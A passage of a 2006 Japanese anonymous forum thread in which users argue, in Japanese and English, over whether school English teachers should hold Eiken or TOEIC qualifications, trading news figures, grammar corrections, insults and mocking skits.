 しかし、教習には何の差支えもありません。」


547 :実習生さん:2006/11/25(土) 20:23:09 ID:zXHndX3x

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」


548 :実習生さん:2006/11/25(土) 20:27:53 ID:3kk5i/Bu
Here come out dumbshits !
I told you....Michael. pu pu pu

549 :実習生さん:2006/11/25(土) 20:30:48 ID:3kk5i/Bu
same shitty comments over and over, dumbshits
do you understand dumbshits ?
what ? dumbshits



550 :実習生さん:2006/11/25(土) 20:31:13 ID:p9I9nU25
>>546
それは道路交通法違反。教師で言えば

「英語教員はかならずしも教員免許を取得してるとは限りません。
 ○○先生は英語免許、 ××先生は数学免許、△△先生は保育士資格(場内プッ、ザワザワ、クスクス)。
 しかし、授業には何の差支えもありません。」

これと同じだ。



551 :実習生さん:2006/11/25(土) 20:40:14 ID:iOMmjzkZ
>>550
違反というより、そんな教習所に誰もいかないだろ。だから、

○○教官は仮免、 ××教官は自動二輪、△△先生は原付(場内シーン)。

が正しい。だからガッコもアホ教員を排除できるようにしないといかんね。




552 :実習生さん:2006/11/25(土) 21:47:06 ID:m7UPVSKX
英検準1級以上の英語の先生、中学1割・高校でも2割(3/30)
 公立中学と高校の英語教員のうち、文部科学省が教員の英語力の目標とした
英検準1級以上の取得者は中学で約1割、高校で約2割にとどまっていること
が、同省による初めての調査でわかった。

 英語能力を測る世界共通の学力テストである「TOEFL」で550点以上、
「TOEIC」で730点以上の教員は、さらにその半分とお寒い状況。文科
省にとっては、生徒以前に、教員の英語力アップが課題になりそうだ。調査で
は、38都道府県と7政令市の教委が、中学2万2000人、高校2万100
0人の英語教員の回答を集計した。

 このうち、中学教員は、英検準1級が2386人。TOEFLの目標達成は
1021人、TOEICは1581人だった。高校教員の場合は、目標達成者
は倍増するが、それでも準1級が4194人、TOEFL2186人、TOE
IC2965人どまりだった。(読売新聞3月29日)

553 :実習生さん:2006/11/25(土) 23:43:55 ID:7Dwrsw5M
予備校 teachers are lucky, as you say. You have more free time and
you can kick out those who don't want to learn. I wish I could do that...
Wait! Probably not! I take pleasure in teaching the students who didn't
like studying anything at all but who start to enjoy learning it
because they like the way I teach or something. That rarely happens
in real life, though. A few months ago I was delighted to hear one of
my students say, "I like your way of teaching. I kind of like English now!"
I don't know if he meant it, because he later started memorizing English
expressions he was told to learn by his 予備校 teacher.
He didn't say it but he clearly made it clear that I can't possibly
help him get ready for university entrance exams.
Oh, well, it cannot be helped.

554 :実習生さん:2006/11/25(土) 23:51:35 ID:7Dwrsw5M
>bureaucratic shits

I am not sure what you meant by that.
We try to give an opportunity to study something fundamental to
the children of those who are relatively not so well-off, which
is, I think, a good think in theory.

555 :実習生さん:2006/11/25(土) 23:52:46 ID:7Dwrsw5M
a good think → a good thing

556 :実習生さん:2006/11/26(日) 08:30:37 ID:7tkS/z2y
I don't care for it.

557 :実習生さん:2006/11/26(日) 09:18:56 ID:1cOblSk1
@@

558 :実習生さん:2006/11/26(日) 09:23:51 ID:b/VUn30s

>英検2級なんて高校生でもとれるよ。それより、教え方じゃないの。

5才児でもとれるよ。

5歳男児 英検2級合格
神奈川 : 地域 : YOMIURI ONLINE(読売新聞)
http://www.yomiuri.co.jp/e-japan/kanagawa/news001.htm



559 :実習生さん:2006/11/26(日) 09:37:46 ID:rtXJWWDo
先生、英検くらいとれよ。

あれ?英語の先生???
英語の先生が、英検とってないの???

560 :実習生さん:2006/11/26(日) 09:40:14 ID:WWhE++2V
教員には学歴も資格も役に立たない。
そのくらい分かってんだろーがアホ共。いまさら何の議論してんだよ。

561 :実習生さん:2006/11/26(日) 09:55:08 ID:aYEYP4va
40代、50代の英語教師はおわっとるな

562 :実習生さん:2006/11/26(日) 11:58:48 ID:9byKOG+4
trite

563 :実習生さん:2006/11/26(日) 11:59:47 ID:9byKOG+4
frivolous

564 :実習生さん:2006/11/26(日) 12:00:47 ID:9byKOG+4
duplicity

565 :実習生さん:2006/11/26(日) 12:16:11 ID:61fOd8Zb
>>560

How popular the teacher is among the students matters more than anything else.
Any impressive qualifications don't seem as important as his own popularity.
Besides, students don't get impressed by the name of prestigious universities
their teachers graduated from, because they will never find it out unless
their teachers brag about it, which is something students are not in the least
interested in. All that matters is how the teacher teach; how he can get certain
things hammered down, how his students learn the subject, how they will be
motivated to keep on learning even after they graduate from school.

566 :実習生さん:2006/11/26(日) 12:58:00 ID:3rQ6aBJW
>>565
>>How popular the teacher is among the students matters more than anything else.

教師にとって生徒の人気が何よりも大事だと?
お前みたいな教員が、生徒のイジメに加担したりするんだろうな。

>>Besides, students don't get impressed by the name of prestigious universities
>>their teachers graduated from,

そんなことはないだろ。大学進学を目標にしてる生徒なら相応の大学を出た教師をすごいと思うよ。
だいたい、大学や資格を取ったりすることと、生徒を教えることを何で対立させるんだ?
これは普通、両立することだろ。
よい大学を出て相応の資格を持っている教師の方がうまく生徒を教えられるし、
ちっとも勉強しない教師は生徒の教え方もヘタ、というのが普通なんだよ。



567 :実習生さん:2006/11/26(日) 13:11:50 ID:61fOd8Zb
I'm not saying those two factors(1. the university the teacher
graduate from and 2. his/her teaching skills including the approval
rating among their students) are contradicting ones.

It's just that No.1 factor is less recognizable unless the teacher
himself brags about it, which hardly happens.

568 :実習生さん:2006/11/26(日) 13:26:28 ID:3rQ6aBJW
>>567
>>It's just that No.1 factor is less recognizable

そんなことないだろ。学歴や資格をその人の実力を認識するためにあるんだから。
英検1級持ってる人の英語力と英検なんか受けたことない人の英語力のどっちが認識しやすい?
ただ、資格を持っていたとしてもその人が仕事をするとは限らない。
仕事で競争がなければすぐサボるからな。


569 :実習生さん:2006/11/26(日) 13:30:52 ID:3rQ6aBJW
>>568
だいたいさ、お前の考えてることおかしいよ。
英検やTOEFLEなんかは、それこそ生徒にも popular なんだから、
“英検準1級受けたいんだけど、先生、どんな勉強したの?”って聞かれたらどうするんだ?
“資格というものは認識されにくいから、先生は生徒たちがどのように勉強・・・”って答えるのかい?



570 :569:2006/11/26(日) 13:33:06 ID:3rQ6aBJW
間違えた

>>568
だいたいさ、お前の考えてることおかしいよ。

>>567
だいたいさ、お前の考えてることおかしいよ。

571 :実習生さん:2006/11/26(日) 14:44:39 ID:C/ZZ4/z4
中学の公開授業見に行くと教師の低脳ぶりに驚きます。
ネイティブを教師にとは言わないまでも
ちゃんと発音できる教師が少なすぎ。
やっぱり良い教師は私立に流れるのか・・・。と実感しています。

572 :実習生さん:2006/11/26(日) 14:58:54 ID:aIya39Sg
>>571
それを一番よく知っているのが、公立校教員。
公立校教員が自分の子供を私立に入れたがるという話は、わかる。

573 :実習生さん:2006/11/26(日) 17:33:20 ID:rD9F2ve6
中途半端な発音するくらいなら日本語発音でいいからはっきり発音したほうがいい。
あからさまに下手なら誰も真似しないから。しかも、授業に発音指導を入れる教師ってあんまいないだろ?
俺は一通り発音できるから逆に思うんだけど、教えない発音なんてできてもあんま意味なくないか。

574 :実習生さん:2006/11/26(日) 18:43:31 ID:61fOd8Zb
When you were in school did you know which universities your teachers graduated from?
I didn't.

I also didn't know which teachers had any English qualifications.
However I knew at that time which teachers were good at teaching so that
I didn't get bored and fell asleep.

I don't think most students even now ask their teachers if they have got
a very high score for TOEIC or what universities they studied, partly
because they are not so concerned about it and partly because they don't
have any nerves...our good old tradition still tells us it's rude to
ask such direct questions.

For my part, I would answer those questions if I were asked by my students.
It's no big deal.


575 :実習生さん:2006/11/26(日) 18:53:48 ID:61fOd8Zb
I didn't get bored and fell asleep.

I didn't get bored and fall asleep.

>>571

I hope you don't say that in front of your kid. Children
don't learn anything if they look down on their teachers.

576 :実習生さん:2006/11/26(日) 18:56:53 ID:3rQ6aBJW
>>574
>>I didn't.
キミ、徹頭徹尾自己中心的だね。
今まで、“認識されない”とか言ってたのも、I didn't. だからか?

>>I also didn't know which teachers had any English qualifications.
また、I didin't ?
オレの高校時代でさえ、受験の前に英検2級ぐらい取っておいたほうがよいという感じだったし、
英検2級は今はかなり難しいようだが、英検はじめ英語の資格試験の知名度は数段上がっているぞ。
生徒が英検を受けようとしているのに、アドバイスできない教師ってなんだか考えてみろよ、このボケ。



577 :実習生さん:2006/11/26(日) 19:04:12 ID:3rQ6aBJW
>>575
Children don't learn anything from teachers who are always seek applaud without making any efforts.


578 :実習生さん:2006/11/26(日) 19:10:10 ID:zjcvFlsd
>>575
ほんとにその通りだと思います。
だけどね、先生は何十年も英語教えてるわけでしょ?
素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないでしょう。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思いますよ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成でしょ?

579 :実習生さん:2006/11/26(日) 19:11:09 ID:3rQ6aBJW
>>574
>>For my part, I would answer those questions if I were asked by my students.
>>It's no big deal.

こういうことか。
“先生、英検受けようと思うんですけど、何級がいいと思いますか?”
“たいした問題じゃない”

お前、お願いだから教員辞めてくれ。



580 :実習生さん:2006/11/26(日) 21:22:41 ID:61fOd8Zb
Hey, I'm quite amazed at your reading skill and you are also quite good at saying
I said something I didn't say or highlighting the parts in the way they suit
your argument.
Suit yourself. I've got to go.

581 :実習生さん:2006/11/26(日) 23:08:53 ID:wrD2oKB0
In my point of view the point is that teachers must not dissappoint
students' ambition.

If the 1st or pre-1st grade in STEP is essentioal to motivate students,
teachers must have those qualifications. On the other hand, unless qualifications
are always the necessity, teachers can substitute other teaching skills for the qualifications.

Question: How many teachers in cram school, which are considered to be much
better than school teachers, do you think have decent score in STEP or TOEIC or TOEFL?

582 :実習生さん:2006/11/26(日) 23:13:31 ID:wrD2oKB0
あとさ、やたらとshitだのdamnだの書いてる人らがいるみたいだけど、
米国なんかでそれらの言葉を多用する人たちがどういう層なのか
ちゃんと理解したうえで使ってるんですかね??

俺はその類の言葉はまじめな話をしてる時には恥ずかしくてとても使えないんだけど。

583 :実習生さん:2006/11/27(月) 10:12:08 ID:X98egJlx
英検1級ぐらい取ればいいのにね。グダグダ言い訳してると、あぁこの人ダメなんだなって思われるだけだよ。

584 :実習生さん:2006/11/27(月) 14:59:59 ID:N+X6kxJn
>>582
ブッシュだって使ってるよ。
 何気取ってんだ?

585 :実習生さん:2006/11/27(月) 15:14:28 ID:qheht95R
>>584
ブッシュはお世辞にも言葉遣いがいいとは言えない。

586 :実習生さん:2006/11/27(月) 17:16:46 ID:7cuo+vcC
>>580
何をふてくされてるのか知らないが、お前の言ってることは、
“英語教師は教え方がうまければ資格なんて要らない”って言ってるだけだろ。
それ以上何があるんだ?お前のその幼稚な文章をどういう風に解釈すればお望み通りになるんだよw
“そうだね、ボクちゃんたちに資格は要らないねw”って言えば満足か?w



587 :実習生さん:2006/11/27(月) 17:22:12 ID:7cuo+vcC
>>581
生徒に指導するためには教師の英語力が不可欠、資格はそれを証明するためである。
だいたい英語力があればすぐに取れるんだから、取ればいいんだよ。
お前みたいに幼稚な屁理屈言ってること自体、生徒からの信頼をなくすの。
>>583の言うとおりだよ。

クエスチョンってw、そのもったいぶり方がいいねw中身のない奴ほど、どうでもよいことを大きく見せようとする。
ところで、塾の講師で30年間英語だけをやってる人がどれだけいるだろうか?
まず、小規模な塾では英語だけやっているようでは経営が成り立たないから、
複数の科目を担当するのが普通。学生アルバイトでも複数教科を教えたりするからな。
それに、小規模塾だと経営も掛け持ちでやっている。お前らにそんなの無理だろw

588 :実習生さん:2006/11/27(月) 17:24:02 ID:7cuo+vcC
>>581
大規模な塾や予備校なら英語だけの担当はいるが、彼らはそろこそプロ級。
英検2級程度じゃつとまらない。まぁ、公立校の教員程度じゃすぐクビだよw

それでは、お前の好きな“教え方”や“生徒の信頼”はどうか。
当然ながら、生徒が塾を信頼できなかったらやめればいいわけだから、
学校の教員なんかより数段信頼されている。大学が統廃合する時代にまだ塾や予備校があるんだからな。
逆から見れば、公立校の教員がいかにダメで信頼されてないかを証明してるね。
お前の幼稚な屁理屈を聞いてると、こんなバカは信用できないと感じるよ、うんw


589 :実習生さん:2006/11/27(月) 17:45:21 ID:xf+FCXho
英検を受けたことがあるやつはわかると思うけど
英検は英語の資格の中でも英語の能力を測るのに適した試験ではないよ

ちなみに俺は2級だが
何よりおかしいのは文法問題も長文問題もリスニングも配点が同じ1点
だから要するに長文問題なんてやらなくても余裕で受かる
その上全マークシートだから英作文がない(並べ替えはあるがたった5問=5点)
英検2級なんて単語力とリスニングだけ鍛えれば偏差値40台のバカでも取れる
こんな糞資格は闇に葬り去ろう 金の無駄だ

590 :実習生さん:2006/11/27(月) 18:02:19 ID:7cuo+vcC
>>589
>>英検2級なんて単語力とリスニングだけ鍛えれば偏差値40台のバカでも取れる
>>こんな糞資格は闇に葬り去ろう 金の無駄だ

その程度の英語力さえない教員の話をしてるんだよw

英検でダメならTOEICでもいいよ。
でも、どの試験が妥当かって議論をしてるわけじゃないの。


591 :実習生さん:2006/11/27(月) 18:06:56 ID:xf+FCXho
訂正
偏差値40台は無理か
50を超えていれば行けるはず

592 :実習生さん:2006/11/27(月) 19:19:13 ID:madbVnWI
>>582 洋画では良く耳にするけどね。そんなに悪いというわけでもないような。
英検なんかどうでも、教え方がうまければいいんだけど。

593 :実習生さん:2006/11/27(月) 19:48:37 ID:YiydbpL2
>>592 てか日常会話とかテレビとか口語じゃ卑語でまくり。知らない奴は英語の知識
が十分とはいえない。

594 :実習生さん:2006/11/27(月) 20:02:18 ID:7cuo+vcC
>>593
あぁ、アフリカ人タレントのボビーみたいなもんかw

595 :実習生さん:2006/11/27(月) 20:45:27 ID:AFHtTs7z
V

596 :実習生さん:2006/11/27(月) 21:02:55 ID:icWt6dco
TOEICなんて、「契約を結ぶ」だの「プレゼンの準備」だの
およそ中高生に関係ない表現のオンパレードじゃないか

597 :実習生さん:2006/11/27(月) 21:37:13 ID:S9ZZPMtZ
>>581

If students' and even their parents expectations lay in high scores
in TOEIC, TOEFL, or any other English proficiency testing systems,
teachers should live up to them. They don't look so much concerned
about whether or not their teachers passed those tests.

Frankly speaking, I think they should be more interested in their
teachers' command of English, but reality is that most of them don't
care about it. They like the teachers who can make something difficult
seem easier and help them learn it, hopefully finding pleasure in doing so.

598 :実習生さん:2006/11/27(月) 21:41:42 ID:S9ZZPMtZ
their parents expectations →their parents' expectations

>>578

I hope your dream will never come true. That would be awful.

599 :実習生さん:2006/11/27(月) 22:36:52 ID:7cuo+vcC
>>597
これだけ罵ってるのになんで同じこと繰り返すんだよw
本当にバカなのかマゾなのかどっちかだな、お前は。
親も生徒も英語ができて教えるのがうまい教師がよいに決まってるだろ。
教え方がうまければ英語ができなくてもいい、とか屁理屈使う教員なんか信用しねーよ。

それに、せっかくの Question(w にも答えてやったのに、何もなしかよw
それともエキサイトで翻訳中か?w



600 :実習生さん:2006/11/28(火) 02:17:11 ID:koxFaBOU
>>587
Unfortunately, I work for one of the biggest cram school and I teach ENG and JP.
I daresay English we learn in high school is not enough to get the 1st grade in STEP.
Therefore, no matter how long we learn or teach English there, it makes no use.
And expressions like "Question:", "Confession:", etc are frequently used in English conversations.
I think you should forget literal translations and watch more movies.
This kind of lines are very easy to find.

>>588
Clearly you've never taught in cram schools.
None of my colleagues got such a good qualification.
There're many kinds of techniques to make students' trust us.
Especially, a student like you, is quite easy to "attract".

>>592-593
We have to consider the situation before we choose words to speak or write.
Do you really think in movies a president use such words in their speech?

601 :実習生さん:2006/11/28(火) 02:21:29 ID:koxFaBOU
CORRECTION:
×one of the biggest cram school
○one of the biggest cram schools

>>599
I got home just now buddy. I'm not >>597.

602 :実習生さん:2006/11/28(火) 02:43:38 ID:8TCQYh9W
>>593
"映画で使われてる"なんて程度の知識でよくそんなこと言えるな。
最低限、誰がどんな立場で誰にどういう文脈で言ってるかくらいは考慮しないと。

まあ、お前みたいなのが塾で英検3級かつ全く英語を喋れない学生講師にお熱になるんだろうな。

自分がどれだけだまされてるかも知らずにw

603 :実習生さん:2006/11/28(火) 08:07:18 ID:qdQLQczb
英検1級やその類の資格や実力があって、どうしてバカガキどもの相手をしなきゃならんのだ?
もっと別の選択肢があるだろ。特に>>599のようなガキはいい先生には永遠にあたらないだろう。

604 :実習生さん:2006/11/28(火) 11:08:21 ID:EK+fry/7
やっぱ、英語のできない英語教師なんかが英語を教えてれば、生徒もやる気しないだろ。
教師自身が勉強しないんだから、授業に身が入らなくて当たり前だな。


605 :実習生さん:2006/11/28(火) 11:32:00 ID:koxFaBOU
>>604
Not really. Students only care about weather the teacher LOOKS good at English or not.
Especially in cam schools, it's quite another problem whether the teacher is REALLY good or not.

606 :実習生さん:2006/11/28(火) 13:47:31 ID:EK+fry/7
>>605
>>Students only care about weather

キミの授業がつまらないから外を見てる生徒が多いってことじゃないかなw

607 :実習生さん:2006/11/28(火) 14:19:15 ID:koxFaBOU
>>606
That's not only about my class.

Speaking of myself, students shout "Cool!!" or "Great!!" or things like that,
when I pronounce some words in English.

608 :実習生さん:2006/11/28(火) 14:33:21 ID:EK+fry/7
>>607
ここでからかわれてるのが解らないようじゃ、生徒にコケにされるのも頷けるw



609 :実習生さん:2006/11/28(火) 15:03:56 ID:koxFaBOU
I must say exactly the same thing for you.

610 :実習生さん:2006/11/28(火) 15:07:49 ID:EK+fry/7
>>609
でも、キミが英語を話すたびに、スゲー、とか言われるならよかったじゃない。
何が不満なんだい?w


611 :実習生さん:2006/11/28(火) 15:09:20 ID:koxFaBOU
え、不満なのはお前や"一般人"じゃないの。

612 :実習生さん:2006/11/28(火) 15:16:00 ID:EK+fry/7
>>Not really. Students only care about weather the teacher LOOKS good at English or not.
>>Especially in cam schools, it's quite another problem whether the teacher is REALLY good or not.

こんな英語を書いていて、生徒が“スゲー”って言うなら、教師のことからかってるに決まってるけど、
それに気づかないで、褒められてると思ってるなら、それも幸せかなとw


613 :実習生さん:2006/11/28(火) 15:19:17 ID:koxFaBOU
お前がどの表現に関して"こんな英語"って言ってるのか指摘してないから
なんとも言いがたいんだが、中高生なんてそんなもんだぞ。

塾でやることなんて問題を解いて解説するくらいだからな。

614 :実習生さん:2006/11/28(火) 15:49:09 ID:EK+fry/7
>>613
まだ、解らないのかよ、先生w 毎日、生徒に相当コケにされてるんだろうなw
でも、それに気づかないようなら、それも幸せだよw


615 :実習生さん:2006/11/28(火) 16:03:38 ID:8TCQYh9W
とりあえず煽ることしか能のないヤツは自分で英語書いてみろ。日本語でしかレスできない時点で負け確定。

616 :実習生さん:2006/11/28(火) 19:08:30 ID:b1B30AZa
自分で書いた英文をエキサイト翻訳で和訳してみれば、先生w

617 :実習生さん:2006/11/28(火) 19:30:31 ID:I1AZuIs/
翻訳ソフトはだめだよ。めちゃくちゃ。使い物にならない。

618 :実習生さん:2006/11/28(火) 19:36:57 ID:VnJ1cOEn
エキサイト翻訳してみましたw

>>Students only care about weather the teacher LOOKS good at English or not
           ↓
学生は英語が上手な状態で教師が見える天気を心配するだけです。

天気? 雨ですか晴れですか?  先生!英語の先生、どういう意味ですか?
ギャッハッハッハ。

619 :実習生さん:2006/11/28(火) 19:59:13 ID:8TCQYh9W
ショボw


しかしまあ、エキサイト使いましたってのもまた派手な敗北宣言でw
それさえ言わなきゃ優勢だったのになwwwww

620 :実習生さん:2006/11/28(火) 20:04:03 ID:VnJ1cOEn
>>619
はぁ?エキサイト翻訳に頼って虚勢を張る教員ばかりいる中で、
koxFaBOU←この先生は独自の力で英文を作成したことは褒められてしかるべきでしょう。

でも、“教師が見える天気”ってよくわからないw
わかるなら教えてほしいですねw



621 :実習生さん:2006/11/28(火) 20:14:02 ID:b1B30AZa
先生、生徒がgreatなんて言ってるときは、普通、先生のこと馬鹿にしてるんだよw

一つ勉強になったね、先生w

622 :実習生さん:2006/11/28(火) 20:41:50 ID:8TCQYh9W
>>620
フツーにwether 〜 or notの間違いだろ。塾講師の割にボケすぎだがなw

623 :実習生さん:2006/11/28(火) 21:59:29 ID:hbJPMH/h
Cram school teachers should be good-looking like "Madonna" in the Japanese
Classic world. If their teachers look great and confident and they can
convince their students that what they have to do is not really as
difficult as it seems... if so, their students will surely be motivated
to learn.

624 :実習生さん:2006/11/28(火) 22:01:54 ID:hbJPMH/h
>>622

I know you know, but isn't it WHETHER ~ or not.

625 :実習生さん:2006/11/28(火) 22:39:43 ID:VnJ1cOEn
>>622 >>624
まぁ英語教師同士の議論が終わったら教えてくださいw

レベルひくーw


626 :実習生さん:2006/11/29(水) 10:27:12 ID:zn4aLvZx
>>622
えらそうなこと言ってるわりには
お前の方がよっぽどバカだよ。
 あと、お前も>>625

627 :実習生さん:2006/11/29(水) 15:51:29 ID:08NK85i0
weather か wether か whether かw
英語のできない英語教師が集まるとトンデモ議論が続出しますねw

先生、塾の宿題やらなきゃいけないから、静かにしてねw



628 :実習生さん:2006/11/29(水) 15:53:41 ID:8S4IVFcJ
whetherだね。ちなみにこれ間違えたのはお前らが信奉する塾講師だろ?
しかも大手の。

629 :実習生さん:2006/11/29(水) 17:15:21 ID:XLYfcIc1
ネイティブな英語(英会話)を教えたかったら母国語人を雇えばいい
日本語教えるなら日本語ネイティブな日本人を雇うのが一番だ
同じことだよ

和製英語できなかったら受験英語マスターできないじゃん
だから受験英語が得意な日本人の教師を雇ってるだけ

630 :実習生さん:2006/11/29(水) 18:05:35 ID:46WQGXxZ
そうだな。今いる英語できない英語教師はクビでいいね、教育に悪いしw
それとも清掃局にでも送るかw

631 :実習生さん:2006/11/29(水) 19:21:28 ID:zn4aLvZx
最近のニートは他人の仕事の心配もするのか

632 :実習生さん:2006/11/29(水) 19:21:53 ID:KXL46FaN
どうでもいいかもしれないけど、和製英語を乱発する人間は
本当は英語のできない無教養な人間だよ。
 俺なんて、いつも、日本語か英語で話してくれと言いたく
なる。


633 :実習生さん:2006/11/29(水) 19:40:39 ID:V0iZK2I5
I speak typical Japanese English and I'm proud of it. :-)

It's a different story, but a student of mine asked me about the homework given by a cram school.
The question was about what word should be put into a blank.
I read the passage and from the context, I thought the answer should be ( to V),
so I told him so. The next day, he said the answer was (V-ing).
Oh,no! I might have passed STEP 1st grade test, but wasn't even
able to answer a cram school question. Probably I really should quit,
as someone here suggested.

634 :実習生さん:2006/11/29(水) 19:43:50 ID:46WQGXxZ
生徒が心配だよ。学校に行っても、バカ教員の影響を受けないようにいろいろ工夫がいるからねw

635 :実習生さん:2006/11/29(水) 21:53:39 ID:V0iZK2I5
Yeah, poor kids... but they are fine. They don't care.
They don't expect too much from us perhaps.
I have 15 classes a week and teach 160 kids altogether. Most of them
seem happy about their school life judging from the result of the
questionnair, though.

636 :実習生さん:2006/11/30(木) 00:11:03 ID:dfHqHfav
こいつまじむかつく → :-)

637 :実習生さん:2006/11/30(木) 00:17:38 ID:TMMcW6hX
>>539
英語教師は検定の勉強や大学受験のテクニックの勉強をしているわけじゃないし、
そもそも英語教師はそのような目的のために居るものではない。
検定や大学受験だけなら知識とテクニック“だけ”は確かな予備校講師の授業でも受けてればいいんじゃないの?

638 :実習生さん:2006/11/30(木) 01:38:43 ID:0G+MqQJB
英語教師は英語を教えてるわけでもないし、
そもそも英語教師はそのような目的のためにいるものではない。
英語だけなら英会話教室にでも行ってればいいんじゃないの?

ップ

639 :実習生さん:2006/11/30(木) 07:26:23 ID:sLKX4qYT
>>637
>>638
ほんとにその通りだよね。
だけどね、先生は何十年も英語教えてるわけでしょ?
素人からみれば、英検一級、準一級ぐらいとってて当然と思うのもしかたないんじゃないの。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだと思うよ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級(場内プッ、クスクス)、△△先生は3級(場内ガハハハハ)。
 しかし、授業には何の差支えもありません。」

ってな具合にね。どう?賛成だろ?


640 :実習生さん:2006/11/30(木) 08:51:02 ID:suOGXW/5
Sure,all English teachers in Japan must speak fluent English


641 :実習生さん:2006/11/30(木) 09:50:06 ID:MzYG39h3
I think so, but can't be helped.
でも国別の英語の出来の悪さを露呈してるのは
ここで叩いてる、a piece of shit どもだろうな?
韓国にも台湾にも負けてるんだからよ。
ねえ、a piece of shit 君たち・・・

642 :実習生さん:2006/11/30(木) 11:22:16 ID:Ksv2GQmf
All your base are belong to us.

643 :実習生さん:2006/11/30(木) 14:15:18 ID:PnTqC4H/

201×年×月×日某所

A子:あら、あんなところで残飯漁ってる浮浪者がいるわ。
B子:あぁ、あの人ね、昔、英語の教師だったのよ。
A子:へぇー、英語ができるなら普通に仕事すればいいのにね。
B子:英語なんかできるわけないでしょ。英語できない英語教師が沢山いたのよ、昔は。
A子:えー、本当?そんな信じられない。英語できないのに教室で何をしてたの?
B子:まぁ、税金と時間の無駄ね。だから、子供はみんな放課後に塾とかに行ってたのよ。
   子供はクタクタになるし、お金はかかるし、それは大変だったのよ。
A子:そんな暗黒時代があったのね。


644 :実習生さん:2006/11/30(木) 14:53:20 ID:KAv8uRVC
あれ?このスレ、以前は英語板にあったんじゃない?

645 :実習生さん:2006/11/30(木) 15:54:08 ID:BjMbYEko
英語が出来るヤツは外資に行くからだよ。

646 :実習生さん:2006/11/30(木) 17:01:38 ID:PnTqC4H/

キャサリン:この前、地下鉄の中で日本人の観光客がお尻触ってきたのよ。
ジョン  :ほう。
キャサリン:“止めないと警察呼ぶわよ”って言っても止めないから突き出してやったわ。
ジョン  :最低だな。
キャサリン:その男、警察で“ハロー、ハウデューデュー”とか、わけわからないこと言ってるわけ。
ジョン  :池沼か?w
キャサリン:すぐ日本人のガイドさんが飛んできて、通訳してくれたんだけど、
      その男が言うには、私が“触って”って言ったから触ったんだってw
      自分は英語の教員だから聞き間違うはずがないって言い張るのよ。
ジョン  :アハハ、日本人の英語教員は英語なんかできないんだよ。
キャサリン:え?そうなの?
ジョン  :でも、彼らは英語できるって言い張って聞かないんだけどねw で、どうなった?
キャサリン:どうもこうも、そのまま警察においてきたわ。
ジョン  :それでいい。そうしないと彼らは自覚しないからね。



647 :実習生さん:2006/11/30(木) 17:57:13 ID:MzYG39h3
キャサリン:この前、地下鉄の中で日本人のニートがお尻触ってきたのよ。
ジョン  :ほう。
キャサリン:“止めないと警察呼ぶわよ”って言っても止めないから突き出してやったわ。
ジョン  :最低だな。
キャサリン:その男、警察で“ぬるぽ、ワロス”とか、わけわからないこと言ってるわけ。
ジョン  :池沼か?w
キャサリン:すぐ日本人のガイドさんが飛んできて、通訳してくれたんだけど、
      その男が言うには、私が“触って”って言ったから触ったんだってw
      自分はニートだから英語なんて分かるはずがないって言い張るのよ。
ジョン  :アハハ、日本人のニートは仕事もしない世界的な恥だからな。
キャサリン:え?そうなの?
ジョン  :でも、彼らは働いてるって言い張って聞かないんだけどねw で、どうなった?
キャサリン:どうもこうも、そのまま警察においてきたわ。
ジョン  :それでいい。そうしないと彼らはニートだって自覚しないからね。


648 :実習生さん:2006/11/30(木) 17:57:21 ID:8Vckt+wd
とりあえず英語と英会話は分けて書いてくれ
駅前留学で学べるのは英会話
学校で教えるのは英語

649 :実習生さん:2006/11/30(木) 19:24:18 ID:E3MDSk1+
>>646 足りない知恵しぼって必死に書いた作品をみんなに見てもらってよかったね^−^
新作まってるよ☆

650 :実習生さん:2006/11/30(木) 19:54:30 ID:0G+MqQJB
>>646
>>その男が言うには、私が“触って”って言ったから触ったんだってw
>>自分は英語の教員だから聞き間違うはずがないって言い張るのよ。

ここがポイントかなw  いかにもありそうな話だから笑えるねw





651 :実習生さん:2006/11/30(木) 20:27:49 ID:0G+MqQJB
一応、英訳してみましたw

Catherin:A Japanese tourist has touched my hips in the subway the other day.
John  :Oh my...
Catherin:I told him "Stop it otherwise I will call a policeman." but he didn't. So I took him to the police.
John  :Disgusting.
Catherin:That guy kept saying strange things like "Halo Haudoyudoyu" in the police department.
John  :Idiot?w
Catherin:Soon a Japanese guide rushed and interpreted what he had said.
     According to him, he touched me because I told him to touch.
     And he kept claiming that he heard so without any mistake, because he was an English teacher.
John  :Gosh, English teachers in Japan cannnot use English.
Catherin:Oh! Really?
John  :But they are claiming that they are good at English, and then what was happened?
Catherin:There is no way, but I just left him to the police.
John  :That's fine. They should learn the reality.


652 :実習生さん:2006/11/30(木) 21:02:15 ID:mUoSRL33
おもろいw
英語できない英語教師ってキャラが立ってるから話しがつくりやすいな。

653 :実習生さん:2006/11/30(木) 21:26:54 ID:wg7x9xnW
>>526
>英語こんぶ

バーローwww

654 :実習生さん:2006/11/30(木) 22:31:56 ID:meNJSGOM
When I started teaching some time ago, there was an elderly English teacher
at then-our-school. He told me how English teachers are not so good at
English and how a young teacher was bullied just because he read English
novels in his free time in the staff room. The older teacher explained to me
he was bullied because everyone else couldn't read English novels and
got jealous of the young man.

There was another story I heard from the older man; one English teacher
went abroad. He was very quiet while the tour of people were traveling in
non-English speaking countries. Finally they reached England and he became
excited and started to try his English on a shop attendant.
He said, "dolu, dolu," by which he meant "dollars." A woman in the shop
didn't understand him and reached for "doll," displayed in the showcase.
The teacher got frustrated and shouted, "dolu, dolu."
Other teachers on the same tour, who was not an English teacher had to
help him.
My mentor, after all, wanted to tell me English teachers shouldn't show
off their English and that it is quite all right for them not to make
themselves in English. I was surprised but it seems that is the way it is.

655 :実習生さん:2006/11/30(木) 22:34:49 ID:meNJSGOM
it is quite all right for them not to make themselves UNDERSTOOD in English

656 :実習生さん:2006/11/30(木) 22:36:40 ID:meNJSGOM
everyone else couldn't →no one else could

Gee! So many mistakes!

657 :実習生さん:2006/12/01(金) 01:21:59 ID:8rPWAeUK
>"dolu, dolu,"

これで教員採用試験通るあたりがおかしいだろ。常識で考えて・・・

